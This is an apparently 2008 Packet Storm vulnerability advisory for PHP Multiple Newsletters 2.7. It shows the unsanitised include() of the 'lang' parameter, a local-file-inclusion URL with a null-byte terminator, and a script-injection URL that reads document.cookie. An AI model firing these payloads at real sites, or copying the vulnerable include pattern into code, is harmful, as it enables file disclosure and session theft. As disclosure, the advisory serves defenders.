PHP Multiple Newsletters 2.7 LFI / XSS

2008-12-09T00:00:00
ID PACKETSTORM:72799
Type packetstorm
Reporter ahmadbady
Modified 2008-12-09T00:00:00

Description

                                        
                                            `****(Lfi/xss)****  
  
script: PHP_Multiple_Newsletters v2.7  
  
***************************************************************************  
download from:http://www.phpmultiplenewsletters.com/modules/phpmultiplenewsletters.com/dist/free/PHP_Multiple_Newsletters_v2.7.zip  
  
***************************************************************************  
vul:/index.php  
line 36:  
include ('language/'..$_REQUEST['lang'].'.php');  
  
***************************************************  
xpl:  
www.site.com/path/index.php?lang=[Lfi]%00  
  
xss:  
www.site.com/path/index.php/>"><ScRiPt>alert(document.cookie)</ScRiPt>  
...................................................  
Author: ahmadbady from:iran  
  
my mail: kivi_hacker666@yahoo.com  
  
***************************************************  
  
  
`